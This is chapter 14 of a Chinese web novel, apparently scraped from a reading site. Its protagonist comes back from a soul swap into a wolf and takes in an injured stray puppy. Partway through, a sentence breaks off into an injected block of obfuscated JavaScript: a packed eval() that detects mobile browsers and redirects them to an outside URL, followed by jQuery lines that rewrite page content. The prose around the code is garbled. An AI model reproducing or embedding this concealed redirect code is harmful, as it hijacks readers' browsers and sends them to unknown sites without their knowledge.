14. 第 14 章
作品:《社畜魂穿狼王但被狗撅了》 “饱了饱了,这下绝对饱了。”周熠放下吃空的第五个碗,心满意足的拍了拍肚子。
虽然这五日他不在自己的身体里,侥幸逃过忍受自己身体挨饿的痛苦,但不幸的是他魂穿的那匹野狼也从没吃饱喝足过呀,肚子里整日空落落的连睡觉都在冒酸水。
现在一口气把肚子塞得满满当当,甭提多满足了!
一旁的陈志有些无奈:“周哥,你还是个病患啊,这么吃不大合适吧?医生让你尽量吃清淡些,少食多餐,最好吃流食……嘿,你还喝酒!”
周熠抿了一口啤酒,乐呵呵的:“吃得少吃不下那才是病患,像我这样吃嘛嘛香的身体倍儿棒,等会儿收拾收拾给我办出院去,我好着呢没必要再占一个床位了。”
陈志上前来把他转来转去的检查了足足三圈,啧啧称奇:“你这被雷劈了除了睡了几天连个皮外伤都没受,头发丝都没烤焦一根的,放走近科学里最少要拍三集,果然世界之大无奇不有。”
又请医生来从头到脚看了一遍,确认啥问题都没有之后,陈志就给他办理出院去了。
在等待的空隙里,周熠百无聊赖,脑子里像跑马灯一样一幕幕闪过在大草原生活的画面。
也不知那只被他魂穿的野狼现在怎么样了,如果和他一样灵魂归位,现在狼群里有这么多食物,够它未来一个月天天吃得饱涨的。
接着他又开始担心原狼身若是灵魂归位,那会不会苛待他的萨摩耶?毕竟从原身之前的所作所为来看,妥妥的恶狼一头,不大可能会欣然接纳一只来历不明的白狼崽。
但现在想再多也没用啊,周熠揉了揉太阳穴,他连萨摩耶在哪块大陆都不知道,除了祝它好运也没有其他法子了。
回家路上,陈志开着车,见副驾的周熠老是一副若有所思的神情,突然一拍脑袋想起来:“对了周哥,还有你的狗啊!”
周熠这会儿满脑子都是萨摩耶,一听“他的狗”也是一愣:“哈?”
“就那个,唉我也不知道是个什么品种,和你一起被雷劈得焦黑焦黑的,我给送兽医院了,那狗好像早两天就醒来了的,我现在打电话叫人送过来。”
陈志在打电话的时候周熠还是一脸懵,什么狗?还和他一起被雷给劈得焦黑焦黑的?
哦!他眼前猛然闪过那只不知好死跳出来撞他车的丑狗。
“那不是我的……”狗字还没说出口,陈志那边已经挂了电话,并且和对方约好十分钟后把狗送到。
“周哥刚你说什么?不是什么?”
“算了。”周熠摆摆手,现在他脑子还有些混乱,没精力解释这么多,那只流浪狗后面是送人养还是送收容所等后面再说吧。
回到家后周熠还没来得及喘两口气,流浪狗就送到了。
陈志把狗箱接过来:“谢了美女,和你们老板说好了待会儿把账单发来我转账过去。”他往狗箱里看了一眼,窝在里面的一只四不像给他吓一激灵,“诶哟吓我一跳,怎么包得跟个木乃伊似的,有伤这么重?”
他看看狗箱里瑟缩成小小一团的小怪物,又看看一旁的周熠,不应该啊,这不挨的同一道雷吗?怎么周哥连根毛都没焦的?
送狗来的小姑娘没好气的瞪了他们俩一眼:“雷倒是没劈出什么问题来,就是浑身的陈年旧伤。”她看向周熠的目光格外气愤,“可以不爱,请别伤害,狗崽都还没完全断奶呢,你怎么能……”
周熠赶紧摆手一波否认三连:“不是我,我没有,不知道。”流浪狗身上遍体的伤痕他是有印象的,坏了,要被当成虐狗的变/态了。
小姑娘对他翻了个白眼,从背包里翻出一包狗粮“啪”一下拍到就近的鞋柜上:“狗粮泡温热的羊奶喂,一次一勺兑30g羊奶,一天四次,间隔4小时,等把这包吃完了再来店里拿新的。还有一周之后来店里换药。”
说完就出了门,在关上门后周熠听到她打电话:“见到了,那个虐狗狂居然还是个长得挺人模人样的男的……”
小姑娘走后,屋里的气氛霎时有些寂静,过了半晌,陈志才不可置信的瞪大眼:“周哥,你,还有这癖好呢?”然后恍然大悟一样的一拍手,“难不成是一直没女朋友给憋成虐待狂了?”
“放你的意大利炮螺旋屁,这狗捡的,我一天没养过。”周熠抢过狗箱放到餐桌上。
陈志点头:“我就猜到不是你养的,你这么颜控,怎么可能养这种丑东西。”
周熠看着狗箱里瑟瑟发/抖的小怪物,有些犯愁,他每天工作比头牛马还累,哪里来的美国时间养狗?等他想想身边有谁是想养狗的,也不知道这么丑的狗能不能送得出去。
把狗箱打开,他想把狗拿出来看看是什么品种,知道品种好送些。
陈志赶紧上前:“我来我来,你这个病患歇着。”
陈志把手伸/进去,流浪狗轻轻呜咽了一声又往狗箱里面钻了钻,战战兢兢的小模样可怜得要命。
“它不会咬我吧?”陈志把手缩回来,童年时期被邻居家大黑狗追着咬了两条街的惨痛教训还历历在目。
周熠埋下头往狗箱里看了眼,轻声道:“不伤你,喂你吃东西呢,乖,自己出来。”
给陈志听乐了:“咋还商量上了,狗又听不懂人话,还能乖乖自己出来……咦?我靠,还真自个儿出来了啊!”
流浪狗细瘦的四条腿颤颤巍巍的站起来,一步一晃的慢慢走了出来,走到周熠跟前,还小心翼翼的轻蹭了一下周熠放在桌上的手。
陈志也想摸一摸这小东西,但手还没碰上,流浪狗就又瑟缩起身子颤/抖着呜咽。
“不对啊,我听兽医说,这狗崽怕人得很,怎么喂都喂不熟,既然不是你养的,咋和你这么亲?”陈志道,“难道想认你做主人?”
主人。
听到这两个字的流浪狗藏匿在纱布下的眼睛颤了颤,刚才送它来的女人也说,带它去找主人。
隔着半透的纱布,它抬起眼小心翼翼地偷瞄着前方高大的男人,它记得这个男人,那天晚上,这个男人想把它包进毯子里,那是愿意收养它的意思吗?
这种猜想让流浪狗又惊又喜,难道它终于,终于等到了一个愿意接纳它的主人?
霎时间它紧张到手足无措,想尽可能的让自己表现得讨喜一些,但很显然不擅此道,不知主人会不会嫌弃它的丑陋和愚笨,也对它露出那种最常见的厌恶神情呢?
想到可能会被主人讨厌,流浪狗有些沮丧。从前它不会想这许多的,但自从那日被雷劈了之后,它的身上好像发生了一些变化。
它发现自己突然能感知到更多的情绪,沮丧、忧虑、悲伤、焦虑还有恐惧,也逐渐能看懂人类的表情,那种,嫌恶的表情,甚至能大致听懂或者猜出人类语言的含义。
「这只丑狗怎么还在这儿,真是臭死了,有它在整个屋子都是臭的。」
它知道“丑狗”说的是自己,而臭,则是形容一种很不舒适的气味,它低头闻了闻自己,确实有股难以言喻的味道,肮脏的狗味夹杂着刺鼻的药水味,熏得它头有点晕。
它对此感到羞愧,尽力把自己缩成一团,希望能遮掩住丑陋的外貌和难闻的气味。
很奇怪,明明以前只会因为肚子挨饿和无端遭受暴力而痛苦,但现在却会因为他人的目光而感到羞/耻。
现在比起饥饿和挨打,它更害怕来自他人的嫌恶,特别是对它来说最重要的主人的嫌恶。
流浪狗又讨好地用脑袋轻轻蹭周熠的手心,它见过其他小狗这样蹭主人,往往会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173500|195931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
换来主人夸赞“好乖好可爱!”,它不奢求能得到主人的赞赏,只希望这样的讨好能让主人稍微看它顺眼一些。
陈志笑道:“它是不是想要你摸啊,怎么这么喜欢你?”
周熠乐了:“当然是因为我是帅哥啊,喜欢帅哥需要什么理由,天经地义,只能说这狗子有品。”
陈志撇嘴,对这种自恋语录不予置评。
“咋的,不服气?”周熠笑着挠了挠流浪狗的下巴,“狗子你最公平,你觉得我帅不帅?帅你就不叫,不帅那你汪一声。”
流浪狗自然是安安静静的没发出什么声音。
陈志好笑:“哪有你这样占便宜的,这本来就是条哑巴狗,我就没听它叫过,你怎么不说不帅就不叫,帅才是汪一声呢。”
话音刚落,本来一直沉默着的流浪狗,突然扬起小脑袋,哆嗦着轻轻“汪”了一声。
陈志瞪大眼:“真叫了啊?”
连周熠都有些诧异,笑道:“我就说我帅得很客观吧,连狗子都被俘获了。”
“不对,肯定是巧合。”陈志俯下/身对流浪狗伸出三根手指晃晃:“如果你觉得周哥不帅,那就不叫;觉得帅,叫三声。”
“你耍赖皮。”周熠笑着搡了他一把。
两人都是在开玩笑,没谁当真,但流浪狗却突然正襟危坐,还立了立软绵绵的小耳朵,伸长喉咙用一种最方便发声的姿势,
“汪!汪!汪!”
抑扬顿挫的连叫三声。
“我靠,这狗听得懂人话!”陈志惊呆了。
周熠也有些诧异,突然想起大草原上天天斗嘴吵架的那群野狼,有些感慨的点头:“确实动物都是有灵性的。”
把带回来的东西收拾完,陈志临走的时候有些欲言又止。
周熠清楚是为什么,叹了口气:“公司那边最近怎么样了?”
“还不就老样子呗,有我和杨姐在,你尽管放心。”
既然还是老样子,那让他怎么放心?公司现在的状况岌岌可危,随时都可能破产倒闭,这几天还没他这个主心骨在,可想而知陈志和杨莹莹有多么压力山大。
“下午我就回公司。”周熠道。
给陈志吓一跳:“别,你这几个小时前还是个植物人呢,哪儿能这么快就经受工作的摧残?要给杨姐知道了,那不得扒我一层皮,别笑,你要真敢今天下午就去,你也得被扒一层皮!”
虽然陈志千叮咛万嘱咐让他多休息几天,但周熠还是决定最迟明早得恢复以往的工作和生活节奏,下午先找个人把这条流浪狗给送出去。
唉,还是在大草原上的日子好过啊,只要能吃饱,就万事不愁。在给流浪狗热羊奶的时候,周熠不禁感叹。
看着燃气灶里升腾的蓝色火焰,周熠又联想到他对萨摩耶说过以后给它看火,看来是要食言了,这辈子都不一定能再见面。
他用一根筷子点着火,递到流浪狗面前晃了晃:“看,这就是火,能把所有东西烧干净烤熟的火,记住了吗?”
可能是一种补偿心理,不能给萨摩耶看,那给其他狗子看看也好。
流浪狗点点头,在心中默默记下,火,火,能烧干净烤熟的火,记住了主人!
周熠把热好的羊奶倒进碗里,兑上一勺狗粮,边往外走边唤:“来这边吃饭了,吃饱了下午我带你——”
带你去找个新家。话没说完,脑子里又是那阵熟悉的天旋地转,接着他脚下一趔趄,砰的一声重重摔在地上,手上的狗碗也跟着扑出去,羊奶撒了一地,碗也碎成两半。
……怎么又来!
都说一回生二回熟,周熠这是第三回晕了,已经有点无语了,不是吧,他都回到自己身体里灵魂归位了,难道还不算完?怎么又来!

